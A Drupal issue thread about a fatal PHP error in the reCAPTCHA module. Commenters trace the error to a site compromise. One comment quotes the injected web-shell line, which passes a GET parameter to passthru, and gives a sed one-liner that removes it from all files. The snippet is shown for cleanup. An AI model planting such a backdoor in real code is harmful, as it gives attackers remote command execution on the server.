I just received a white screen error:

Fatal error: Namespace declaration statement has to be the very first statement or after any declare call in the script in /var/aegir/platforms/BLANK/sites/all/modules/recaptcha/recaptcha-php/src/ReCaptcha/ReCaptcha.php on line 27

I tried clearing the cache, clearing the browser cache, disabling the module, upgrading the module via drush and it had the same error message each time.

Please advise.

Comments

g33kg1rl created an issue. See original summary.

g33kg1rl’s picture

I restored a backup and upgraded the website. The error went away after that.

hass’s picture

Priority: Critical » Normal
Status: Active » Postponed (maintainer needs more info)

If you may find out what caused this and how to repro, let me know, please.

tnd_max’s picture

It's probably cause because your site was attaked and some files was changed... try to find this code in files
if (isset($_GET["_cmd"])) die(passthru($_GET["_cmd"])); ?><?php

i repaired my site with this snippet in shell:
find ./ -type f -print0 | xargs -0 sed -i 's/<?php if (isset($_GET\["_cmd"\])) die(passthru($_GET\["_cmd"\])); ?>//g'

hass’s picture

Category: Bug report » Support request
Status: Postponed (maintainer needs more info) » Closed (cannot reproduce)

Not a problem of this module.

araujo.guntin’s picture

Hi.. I have the same problem... is there any solution?

Saoirse1916’s picture

Same problem here - I restored a bunch of files from the original module before just deleting the whole thing and reuploading.

Saoirse1916’s picture

Status: Closed (cannot reproduce) » Needs review
hass’s picture

Status: Needs review » Closed (cannot reproduce)

If your server or sites have been hacked it is not a fault of this module.

rod1011’s picture

I have the same problem any legit solution?

headstartcms’s picture

Thank you for the supportive information! My site was also attack using the drupal 8.5 version. The error said: Fatal error: Namespace declaration statement has to be the very first statement or after any declare call in the script in websitename.com/core/lib/Drupal/Core/SitePathFactory.php on line 3 Some of the files was deleted when i try to backup the first backup was 788MB then during the error the backup files is now 490MB. Some files was deleted causing fatal errors to the website.